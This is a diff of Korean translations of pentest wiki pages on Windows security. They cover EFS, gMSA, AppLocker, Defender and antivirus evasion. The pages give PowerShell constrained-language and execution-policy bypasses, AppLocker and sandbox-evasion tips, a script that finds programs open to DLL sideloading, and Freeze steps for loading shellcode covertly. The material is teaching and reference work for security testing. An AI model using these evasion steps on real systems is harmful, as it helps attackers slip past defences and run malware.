- 파일이나 폴더가 [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)와 같은 비 EFS 파일 시스템으로 이동될 때 자동으로 복호화됩니다.
- SMB/CIFS 프로토콜을 통해 네트워크로 전송되는 암호화된 파일은 전송 전에 복호화됩니다.
이 암호화 방법은 소유자에게 암호화된 파일에 대한 **투명한 접근**을 허용합니다. 그러나 소유자의 비밀번호를 단순히 변경하고 로그인하는 것만으로는 복호화가 허용되지 않습니다.
@ -121,14 +121,14 @@ EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일
### EFS 정보 확인
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하세요: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
**사용자**가 이 **서비스**를 **사용했는지** 확인하려면 이 경로가 존재하는지 확인하십시오: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하세요.
파일에 **접근**할 수 있는 **사람**을 확인하려면 `cipher /c \<file>\`를 사용하십시오.
폴더 내에서 `cipher /e` 및 `cipher /d`를 사용하여 모든 파일을 **암호화**하고 **복호화**할 수도 있습니다.
### EFS 파일 복호화
#### 권한 시스템이 되기
#### 권한 있는 시스템으로
이 방법은 **피해자 사용자**가 호스트 내에서 **프로세스**를 **실행**하고 있어야 합니다. 그런 경우, `meterpreter` 세션을 사용하여 사용자의 프로세스 토큰을 가장할 수 있습니다 (`incognito`의 `impersonate_token`). 또는 사용자의 프로세스로 `migrate`할 수도 있습니다.
@ -140,15 +140,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft는 IT 인프라에서 서비스 계정 관리를 단순화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
Microsoft는 IT 인프라에서 서비스 계정 관리를 단순화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 더 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)가 처리하여 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안을 강화합니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안이 강화됩니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유할 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: 관리 서비스 계정과 달리 gMSA는 예약 작업 실행을 지원합니다.
- **단순화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 자동으로 서비스 주체 이름(SPN)을 업데이트하여 SPN 관리를 단순화합니다.
- **단순화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 서비스 주체 이름(SPN)을 자동으로 업데이트하여 SPN 관리를 단순화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보에 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -158,7 +158,7 @@ gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며
```
[**이 게시물에서 더 많은 정보를 찾으세요**](https://cube0x0.github.io/Relaying-for-gMSA/)
또한, **gMSA**의 **비밀번호**를 **읽기** 위한 **NTLM 릴레이 공격** 수행 방법에 대한 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)를 확인하세요.
또한, **gMSA**의 **비밀번호**를 **읽기** 위해 **NTLM 릴레이 공격**을 수행하는 방법에 대한 [웹 페이지](https://cube0x0.github.io/Relaying-for-gMSA/)를 확인하세요.
## LAPS
@ -170,15 +170,15 @@ active-directory-methodology/laps.md
## PS 제약 언어 모드
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **잠급니다**.
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다.
### **확인**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### 우회
```powershell
```bash
#Easy bypass
Powershell -version 2
```
@ -198,7 +198,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
## PS 실행 정책
기본적으로 **제한됨**으로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -223,7 +223,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
사용자를 인증하는 데 사용할 수 있는 API입니다.
SSPI는 통신을 원하는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상합니다. 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하며 두 머신 모두 동일한 프로토콜을 지원해야 통신할 수 있습니다.
SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상하며, 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하고 두 머신 모두 동일한 것을 지원해야 통신할 수 있습니다.
### 주요 SSP

40
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -6,13 +6,13 @@
애플리케이션 화이트리스트는 시스템에 존재하고 실행될 수 있는 승인된 소프트웨어 애플리케이션 또는 실행 파일의 목록입니다. 목표는 환경을 유해한 맬웨어와 특정 조직의 비즈니스 요구에 맞지 않는 승인되지 않은 소프트웨어로부터 보호하는 것입니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 및 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세부적인 제어**를 제공합니다.\
조직에서는 **cmd.exe와 PowerShell.exe** 및 특정 디렉터리에 대한 쓰기 접근을 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)는 Microsoft의 **애플리케이션 화이트리스트 솔루션**으로, 시스템 관리자가 **사용자가 실행할 수 있는 애플리케이션 및 파일**을 제어할 수 있게 해줍니다. 이는 실행 파일, 스크립트, Windows 설치 파일, DLL, 패키지 앱 및 패키지 앱 설치 프로그램에 대한 **세분화된 제어**를 제공합니다.\
조직에서 **cmd.exe 및 PowerShell.exe**와 특정 디렉터리에 대한 쓰기 액세스를 **차단하는 것이 일반적이지만**, 이는 모두 우회될 수 있습니다.
### Check
차단된/허용된 파일/확장자를 확인하십시오:
```powershell
차단된/허용된 파일/확장자를 확인하세요:
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -34,11 +34,11 @@ C:\Windows\Tasks
C:\windows\tracing
```
- 일반적으로 **신뢰할 수 있는** [**"LOLBAS's"**](https://lolbas-project.github.io/) 바이너리는 AppLocker를 우회하는 데 유용할 수 있습니다.
- **잘못 작성된 규칙은 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, 어디에나 **`allowed`라는 폴더를 생성하면** 허용됩니다.
- **잘못 작성된 규칙도 우회될 수 있습니다.**
- 예를 들어, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**를 사용하면 **어디에나 `allowed`라는 폴더를 만들 수 있으며** 허용됩니다.
- 조직은 종종 **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 실행 파일을 차단하는 데 집중하지만**, **다른** [**PowerShell 실행 파일 위치**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)인 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 또는 `PowerShell_ISE.exe`를 잊어버립니다.
- **DLL 강제 적용은 시스템에 추가 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **DLL를 백도어로 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)를 사용하여 **Powershell** 코드를 모든 프로세스에서 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- **DLL 강제 적용은 시스템에 추가적인 부하를 줄 수 있기 때문에 매우 드물게 활성화됩니다.** 따라서 **백도어로서 DLL을 사용하는 것이 AppLocker를 우회하는 데 도움이 됩니다.**
- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 또는 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)을 사용하여 **Powershell** 코드를 어떤 프로세스에서든 실행하고 AppLocker를 우회할 수 있습니다. 자세한 내용은 다음을 확인하세요: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## 자격 증명 저장소
@ -69,11 +69,11 @@ Active Directory의 데이터베이스입니다. 도메인 컨트롤러에만
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인 펜테스팅 도구**인 **`WinPEAS`**를 **차단**합니다. 그러나 이러한 보호를 **우회하는 방법이 있습니다.**
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender)는 Windows 10 및 Windows 11, 그리고 Windows Server 버전에서 사용할 수 있는 안티바이러스입니다. **일반적인 펜테스팅 도구**인 **`WinPEAS`**를 **차단**합니다. 그러나 이러한 보호를 **우회하는 방법**이 있습니다.
### 확인
**Defender**의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있습니다 (활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인하세요):
**Defender**의 **상태**를 확인하려면 PS cmdlet **`Get-MpComputerStatus`**를 실행할 수 있습니다(활성화 여부를 알기 위해 **`RealTimeProtectionEnabled`** 값을 확인하세요):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,7 +103,7 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때, 사용자의 디지털 인증서의 해당 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
EFS는 **대칭 키**인 **파일 암호화 키 (FEK)**를 사용하여 파일을 암호화하여 보호합니다. 이 키는 사용자의 **공개 키**로 암호화되어 암호화된 파일의 $EFS **대체 데이터 스트림**에 저장됩니다. 복호화가 필요할 때는 사용자의 디지털 인증서에 해당하는 **개인 키**를 사용하여 $EFS 스트림에서 FEK를 복호화합니다. 더 많은 세부정보는 [여기](https://en.wikipedia.org/wiki/Encrypting_File_System)에서 확인할 수 있습니다.
**사용자 개입 없이 복호화되는 시나리오**는 다음과 같습니다:
@ -141,13 +141,13 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
Microsoft는 IT 인프라에서 서비스 계정 관리를 간소화하기 위해 **Group Managed Service Accounts (gMSA)**를 개발했습니다. 전통적인 서비스 계정은 종종 "**비밀번호 만료 안 함**" 설정이 활성화되어 있는 반면, gMSA는 보다 안전하고 관리하기 쉬운 솔루션을 제공합니다:
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)가 처리하여 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **자동 비밀번호 관리**: gMSA는 도메인 또는 컴퓨터 정책에 따라 자동으로 변경되는 복잡한 240자 비밀번호를 사용합니다. 이 과정은 Microsoft의 키 배포 서비스(KDC)에 의해 처리되어 수동 비밀번호 업데이트의 필요성을 없앱니다.
- **강화된 보안**: 이러한 계정은 잠금에 면역이며 대화형 로그인을 위해 사용할 수 없어 보안이 강화됩니다.
- **다중 호스트 지원**: gMSA는 여러 호스트에서 공유할 수 있어 여러 서버에서 실행되는 서비스에 적합합니다.
- **예약 작업 기능**: 관리 서비스 계정과 달리 gMSA는 예약 작업 실행을 지원합니다.
- **간소화된 SPN 관리**: 시스템은 컴퓨터의 sAMaccount 세부정보 또는 DNS 이름에 변경이 있을 때 서비스 주체 이름(SPN)을 자동으로 업데이트하여 SPN 관리를 간소화합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭으로, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보를 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며 도메인 컨트롤러(DC)에 의해 30일마다 자동으로 재설정됩니다. 이 비밀번호는 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)로 알려진 암호화된 데이터 블롭이며, 권한이 있는 관리자와 gMSA가 설치된 서버만 검색할 수 있어 안전한 환경을 보장합니다. 이 정보에 접근하려면 LDAPS와 같은 보안 연결이 필요하거나 'Sealing & Secure'로 인증된 연결이어야 합니다.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -169,20 +169,20 @@ gMSA의 비밀번호는 LDAP 속성 _**msDS-ManagedPassword**_에 저장되며
## PS 제약 언어 모드
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로우, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다.
PowerShell [**제약 언어 모드**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)는 COM 객체 차단, 승인된 .NET 유형만 허용, XAML 기반 워크플로, PowerShell 클래스 등 PowerShell을 효과적으로 사용하기 위해 필요한 많은 기능을 **제한**합니다.
### **확인**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### 우회
```powershell
```bash
#Easy bypass
Powershell -version 2
```
현재 Windows에서는 이 우회 방법이 작동하지 않지만 [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)를 사용할 수 있습니다.\
**컴파일하려면** **다음이 필요할 수 있습니다** **_참조 추가_** -> _찾아보기_ -> _찾아보기_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`을 추가하고 **프로젝트를 .Net4.5로 변경하십시오**.
**컴파일하려면** **다음이 필요할 수 있습니다** **:** _**참조 추가**_ -> _찾아보기_ -> _찾아보기_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`을 추가하고 **프로젝트를 .Net4.5로 변경하십시오**.
#### 직접 우회:
```bash
@ -197,7 +197,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
## PS 실행 정책
기본적으로 **제한됨**으로 설정되어 있습니다. 이 정책을 우회하는 주요 방법:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -222,7 +222,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
사용자를 인증하는 데 사용할 수 있는 API입니다.
SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상합니다. 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하며 두 머신 모두 통신할 수 있도록 동일한 것을 지원해야 합니다.
SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을 합니다. 이를 위한 선호 방법은 Kerberos입니다. 그런 다음 SSPI는 사용할 인증 프로토콜을 협상하며, 이러한 인증 프로토콜은 보안 지원 공급자(SSP)라고 하며, 각 Windows 머신 내에서 DLL 형태로 존재하고 두 머신 모두 동일한 것을 지원해야 통신할 수 있습니다.
### 주요 SSP
@ -234,7 +234,7 @@ SSPI는 통신하려는 두 머신에 적합한 프로토콜을 찾는 역할을
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL 및 TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됩니다(기본값은 Kerberos인 Kerberos 또는 NTLM).
- **Negotiate**: 사용할 프로토콜을 협상하는 데 사용됩니다 (Kerberos 또는 NTLM, 기본값은 Kerberos)
- %windir%\Windows\System32\lsasrv.dll
#### 협상은 여러 방법을 제공할 수 있거나 하나만 제공할 수 있습니다.

152
src/windows-hardening/av-bypass.md
View File

@ -10,7 +10,7 @@
### **정적 탐지**
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고 파일 자체에서 정보를 추출함으로써 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 몇 가지 방법이 있습니다:
정적 탐지는 이진 파일이나 스크립트에서 알려진 악성 문자열이나 바이트 배열을 플래그 지정하고, 파일 자체에서 정보를 추출함으로써 이루어집니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 이는 알려진 공개 도구를 사용하면 더 쉽게 발각될 수 있음을 의미합니다. 왜냐하면 이러한 도구는 아마도 분석되어 악성으로 플래그가 지정되었기 때문입니다. 이러한 종류의 탐지를 우회하는 방법은 몇 가지가 있습니다:
- **암호화**
@ -31,13 +31,13 @@
### **동적 분석**
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법이 있습니다.
동적 분석은 AV가 이진 파일을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저의 비밀번호를 복호화하고 읽으려 하거나, LSASS에서 미니 덤프를 수행하는 등). 이 부분은 다루기가 조금 더 까다로울 수 있지만, 샌드박스를 우회하기 위해 할 수 있는 몇 가지 방법이 있습니다.
- **실행 전 대기** 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법이 될 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔할 시간이 매우 짧기 때문에 긴 대기를 사용하면 이진 파일 분석을 방해할 수 있습니다. 문제는 많은 AV의 샌드박스가 구현 방식에 따라 대기를 건너뛸 수 있다는 것입니다.
- **컴퓨터 자원 확인** 일반적으로 샌드박스는 작업할 수 있는 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 컴퓨터를 느리게 만들 수 있습니다. 여기서 매우 창의적으로 접근할 수 있습니다. 예를 들어 CPU의 온도나 팬 속도를 확인하는 것과 같이 샌드박스에 구현되지 않은 것들이 많습니다.
- **기계 특정 검사** "contoso.local" 도메인에 가입된 사용자를 타겟으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료하도록 할 수 있습니다.
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라서 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료할 수 있습니다.
Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성코드에서 컴퓨터 이름을 확인할 수 있습니다. 이름이 HAL9TH와 일치하면 Defender의 샌드박스 안에 있다는 의미이므로 프로그램을 종료하도록 할 수 있습니다.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>출처: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -45,18 +45,18 @@ Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev 채널</p></figcaption></figure>
앞서 이 게시물에서 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다:
이 게시물에서 이전에 언급했듯이, **공식 도구**는 결국 **탐지됩니다**, 따라서 스스로에게 질문해야 합니다:
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 덜 알려진 다른 프로젝트를 사용하여 LSASS를 덤프할 수 있을까요?
예를 들어, LSASS를 덤프하려면 **정말로 mimikatz를 사용해야 하나요**? 아니면 LSASS를 덤프하는 덜 알려진 다른 프로젝트를 사용할 수 있을까요?
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽과도 같습니다. 따라서 달성하려는 목표에 대한 대안을 찾아보세요.
정답은 아마 후자일 것입니다. mimikatz를 예로 들면, 아마도 AV와 EDR에 의해 가장 많이 플래그가 지정된 악성코드 중 하나일 것입니다. 프로젝트 자체는 매우 멋지지만, AV를 우회하기 위해 작업하는 것은 악몽이 될 수 있으므로, 달성하려는 목표에 대한 대안을 찾아보세요.
> [!NOTE]
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.
> 회피를 위해 페이로드를 수정할 때는 Defender에서 **자동 샘플 제출을 끄는 것**을 잊지 마세요. 그리고 제발, 진지하게, **VIRUSTOTAL에 업로드하지 마세요**. 장기적으로 회피를 달성하는 것이 목표라면 말이죠. 특정 AV에서 페이로드가 탐지되는지 확인하고 싶다면 VM에 설치하고 자동 샘플 제출을 끄고, 결과에 만족할 때까지 그곳에서 테스트하세요.
## EXE와 DLL
가능할 때마다 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
가능할 때마다 항상 **회피를 위해 DLL 사용을 우선시하세요**. 제 경험상 DLL 파일은 일반적으로 **탐지 및 분석이 훨씬 덜** 되므로, 경우에 따라 탐지를 피하기 위한 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있어야 합니다).
이 이미지에서 볼 수 있듯이, Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 탐지율을 보이는 반면, EXE 페이로드는 7/26의 탐지율을 보입니다.
@ -69,7 +69,7 @@ Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH입니다. 따라
**DLL 사이드로딩**은 로더가 사용하는 DLL 검색 순서를 이용하여 피해자 애플리케이션과 악성 페이로드를 나란히 배치하는 것입니다.
DLL 사이드로딩에 취약한 프로그램을 확인하려면 [Siofra](https://github.com/Cybereason/siofra)와 다음 PowerShell 스크립트를 사용할 수 있습니다:
```powershell
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
@ -105,13 +105,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 나는 **강력히 추천**합니다 [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)를 시청하고, 또한 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 통해 우리가 논의한 내용을 더 깊이 배우는 것을 권장합니다.
> 나는 **강력히 추천**합니다. [S3cur3Th1sSh1t의 트위치 VOD](https://www.twitch.tv/videos/1644171543)와 [ippsec의 비디오](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청하여 우리가 논의한 내용을 더 깊이 배우는 것이 좋습니다.
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하기 위한 페이로드 툴킷입니다.`
Freeze를 사용하여 은밀한 방식으로 쉘코드를 로드하고 실행할 수 있습니다.
Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -125,7 +125,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (안티 맬웨어 스캔 인터페이스)
AMSI는 "[파일리스 맬웨어](https://en.wikipedia.org/wiki/Fileless_malware)"를 방지하기 위해 만들어졌습니다. 처음에 AV는 **디스크의 파일**만 스캔할 수 있었기 때문에, 만약 어떤 방법으로든 페이로드를 **메모리에서 직접 실행**할 수 있다면, AV는 이를 방지할 수 있는 충분한 가시성이 없었습니다.
